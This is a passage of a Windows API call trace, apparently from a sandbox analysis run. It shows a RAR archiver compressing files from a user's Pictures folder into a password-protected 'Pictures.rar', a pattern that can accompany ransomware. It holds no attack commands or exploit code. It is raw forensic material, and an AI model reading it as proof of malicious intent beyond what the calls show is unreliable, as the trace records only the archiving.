nNumberOfBytesToRead=0xeaf89, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b7210b7*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0065.614] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.614] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.614] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f6f0 [0065.614] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0065.614] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa50, Size=0x48) returned 0x28b084f9430 [0065.614] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0065.614] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa20 [0065.614] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa20, Size=0x48) returned 0x28b084f9de0 [0065.614] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0065.614] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9430 | out: hHeap=0x28b08430000) returned 1 [0065.614] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f720 [0065.614] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fab0 [0065.614] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fab0 | out: hHeap=0x28b08430000) returned 1 [0065.614] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f720 | out: hHeap=0x28b08430000) returned 1 [0065.614] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f6f0, Size=0x48) returned 0x28b084f8f80 [0065.614] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f8f80, Size=0x7a) returned 0x28b084ed2e0 [0065.614] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9de0 | out: hHeap=0x28b08430000) returned 1 [0065.614] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed2e0 | out: hHeap=0x28b08430000) returned 1 [0065.614] GetTickCount () returned 0x264ea [0065.614] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15694378043) returned 1 [0065.615] GetTickCount () returned 0x264ea [0065.615] GetTickCount () returned 0x264ea [0065.615] GetTickCount () returned 0x264ea [0065.615] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.615] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.615] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.615] ResetEvent (hEvent=0x344) returned 1 [0065.615] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.617] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0065.617] ResetEvent (hEvent=0x344) returned 1 [0065.617] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.618] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0065.618] ResetEvent (hEvent=0x344) returned 1 [0065.619] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.623] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0065.623] GetTickCount () returned 0x264f9 [0065.623] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15695152515) returned 1 [0065.623] GetTickCount () returned 0x264f9 [0065.623] GetTickCount () returned 0x264f9 [0065.623] GetTickCount () returned 0x264f9 [0065.623] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0xf00f8dd068 | out: ppv=0xf00f8dd068*=0x28b0a22fa50) returned 0x0 [0065.623] TaskbarList:ITaskbarList3:SetProgressState (This=0x28b0a22fa50, hwnd=0x102be, tbpFlags=2) returned 0x0 [0065.624] TaskbarList:ITaskbarList3:SetProgressValue (This=0x28b0a22fa50, hwnd=0x102be, ullCompleted=0x185ebd, ullTotal=0x2141be) returned 0x0 [0065.624] TaskbarList:IUnknown:Release (This=0x28b0a22fa50) returned 0x0 [0065.624] GetLastError () returned 0x36b7 [0065.624] SetLastError (dwErrCode=0x36b7) [0065.624] GetDlgItem (hDlg=0x102be, nIDDlgItem=157) returned 0x102e0 [0065.624] GetDlgItem (hDlg=0x102be, nIDDlgItem=152) returned 0x102de [0065.624] GetWindowTextW (in: hWnd=0x102de, lpString=0xf00f8dbc30, nMaxCount=2560 | out: lpString=" 53%") returned 5 [0065.624] SetWindowTextW (hWnd=0x102de, lpString=" 73%") returned 1 [0065.625] GetLastError () returned 0x0 [0065.625] SetLastError (dwErrCode=0x0) [0065.625] GetDlgItem (hDlg=0x102be, nIDDlgItem=164) returned 0x102da [0065.625] GetWindowTextW (in: hWnd=0x102da, lpString=0xf00f8dbc30, nMaxCount=2560 | out: lpString=" 95%") returned 5 [0065.625] SetWindowTextW (hWnd=0x102da, lpString=" 94%") returned 1 [0065.625] SendMessageW (hWnd=0x102e0, Msg=0x402, wParam=0x49, lParam=0x0) returned 0x35 [0065.625] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 1 [0065.625] GetMessageW (in: lpMsg=0xf00f8dd510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd510) returned 1 [0065.625] GetFocus () returned 0x102e2 [0065.625] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd510) returned 1 [0065.626] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 1 [0065.626] GetMessageW (in: lpMsg=0xf00f8dd510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd510) returned 1 [0065.626] GetFocus () returned 0x102e2 [0065.627] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd510) returned 1 [0065.627] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.627] ResetEvent (hEvent=0x33c) returned 1 [0065.627] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.627] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0065.627] ResetEvent (hEvent=0x33c) returned 1 [0065.627] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.628] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0065.628] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 1 [0065.628] GetMessageW (in: lpMsg=0xf00f8dd290, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd290) returned 1 [0065.629] GetFocus () returned 0x102e2 [0065.629] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd290) returned 1 [0065.629] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.629] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x1725ea [0065.629] SetFilePointer (in: hFile=0x32c, lDistanceToMove=97, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x17264b [0065.629] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0065.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0065.630] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0065.630] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0065.630] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0065.630] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0x15140, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0x15140, lpOverlapped=0x0) returned 1 [0065.632] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0065.632] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.633] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1517034, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x1725ea [0065.633] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x1725ea [0065.633] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa20 [0065.633] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f720 [0065.633] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f720, Size=0x48) returned 0x28b084f9020 [0065.633] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0065.633] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0065.633] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa50, Size=0x48) returned 0x28b084f98e0 [0065.633] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0065.633] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9020 | out: hHeap=0x28b08430000) returned 1 [0065.633] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc00 [0065.633] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc60 [0065.633] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fc60 | out: hHeap=0x28b08430000) returned 1 [0065.633] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fc00 | out: hHeap=0x28b08430000) returned 1 [0065.633] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa20, Size=0x48) returned 0x28b084f9570 [0065.633] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9570, Size=0x7a) returned 0x28b084ed130 [0065.633] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ed133*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ed133*, lpNumberOfBytesWritten=0xf00f8d8070*=0x61, lpOverlapped=0x0) returned 1 [0065.633] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fcf0 [0065.633] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x61) returned 0x28b0c100b70 [0065.633] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f98e0 | out: hHeap=0x28b08430000) returned 1 [0065.633] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed130 | out: hHeap=0x28b08430000) returned 1 [0065.633] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x18778b [0065.634] CloseHandle (hObject=0x350) returned 1 [0065.634] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.634] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.634] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0065.634] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.634] FindFirstFileW (in: lpFileName="Saved Pictures\\desktop.ini", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0eebb0 [0065.634] FindClose (in: hFindFile=0x28b0c0eebb0 | out: hFindFile=0x28b0c0eebb0) returned 1 [0065.634] CreateFileW (lpFileName="Saved Pictures\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\pictures\\saved pictures\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0065.634] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0065.634] GetTickCount () returned 0x264f9 [0065.634] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0065.634] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0065.634] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0065.634] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0065.634] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="QX41YSfi6.bmp") returned 13 [0065.634] SetWindowTextW (hWnd=0x102c6, lpString="desktop.ini") returned 1 [0065.635] GetTickCount () returned 0x264f9 [0065.635] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0065.635] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0065.635] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0065.635] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0065.635] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2b, wMilliseconds=0x74)) [0065.635] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0065.635] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15696388153) returned 1 [0065.635] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0xbe, lpOverlapped=0x0) returned 1 [0065.637] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c0fe, nNumberOfBytesToRead=0xfff42, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c0fe*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0065.637] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa80 [0065.637] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa20 [0065.637] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa20, Size=0x48) returned 0x28b084f98e0 [0065.637] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0065.637] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc00 [0065.637] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fc00, Size=0x48) returned 0x28b084f8f80 [0065.637] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0065.637] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f98e0 | out: hHeap=0x28b08430000) returned 1 [0065.637] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc30 [0065.637] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa20 [0065.637] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa20 | out: hHeap=0x28b08430000) returned 1 [0065.637] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fc30 | out: hHeap=0x28b08430000) returned 1 [0065.637] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa80, Size=0x48) returned 0x28b084f9700 [0065.637] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9700, Size=0x7a) returned 0x28b084ed2e0 [0065.637] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f8f80 | out: hHeap=0x28b08430000) returned 1 [0065.637] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed2e0 | out: hHeap=0x28b08430000) returned 1 [0065.637] GetTickCount () returned 0x26509 [0065.637] GetLastError () returned 0x0 [0065.637] SetLastError (dwErrCode=0x0) [0065.637] GetDlgItem (hDlg=0x102be, nIDDlgItem=158) returned 0x102ca [0065.637] GetDlgItem (hDlg=0x102be, nIDDlgItem=153) returned 0x102c8 [0065.637] GetWindowTextW (in: hWnd=0x102c8, lpString=0xf00f8dbc60, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0065.637] SendMessageW (hWnd=0x102ca, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0065.638] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15696649617) returned 1 [0065.638] GetTickCount () returned 0x26509 [0065.638] GetTickCount () returned 0x26509 [0065.638] GetTickCount () returned 0x26509 [0065.638] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.638] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.638] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.638] GetTickCount () returned 0x26509 [0065.638] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15696675958) returned 1 [0065.638] GetTickCount () returned 0x26509 [0065.638] GetTickCount () returned 0x26509 [0065.638] GetTickCount () returned 0x26509 [0065.638] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0065.638] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0065.638] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.638] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0065.638] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.638] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x18778b [0065.638] SetFilePointer (in: hFile=0x32c, lDistanceToMove=108, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x1877f7 [0065.638] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0065.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0065.639] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0065.639] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0065.639] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0065.639] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0xa0, lpOverlapped=0x0) returned 1 [0065.639] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0065.639] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.639] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1603467, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x18778b [0065.639] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x18778b [0065.639] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa20 [0065.639] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc00 [0065.639] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fc00, Size=0x48) returned 0x28b084f9de0 [0065.639] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0065.639] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f720 [0065.639] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f720, Size=0x48) returned 0x28b084f9bb0 [0065.639] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0065.639] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9de0 | out: hHeap=0x28b08430000) returned 1 [0065.639] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc00 [0065.639] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0065.639] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa50 | out: hHeap=0x28b08430000) returned 1 [0065.639] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fc00 | out: hHeap=0x28b08430000) returned 1 [0065.639] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa20, Size=0x48) returned 0x28b084f9c00 [0065.639] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9c00, Size=0x7a) returned 0x28b084eca70 [0065.639] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084eca73*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084eca73*, lpNumberOfBytesWritten=0xf00f8d8070*=0x6c, lpOverlapped=0x0) returned 1 [0065.639] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9bb0 | out: hHeap=0x28b08430000) returned 1 [0065.639] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084eca70 | out: hHeap=0x28b08430000) returned 1 [0065.639] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x187897 [0065.640] CloseHandle (hObject=0x350) returned 1 [0065.640] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.640] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.640] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0065.640] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.640] FindFirstFileW (in: lpFileName="sj6 1xhDAi0ypw.jpg", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0eeaf0 [0065.640] FindClose (in: hFindFile=0x28b0c0eeaf0 | out: hFindFile=0x28b0c0eeaf0) returned 1 [0065.640] CreateFileW (lpFileName="sj6 1xhDAi0ypw.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\sj6 1xhdai0ypw.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 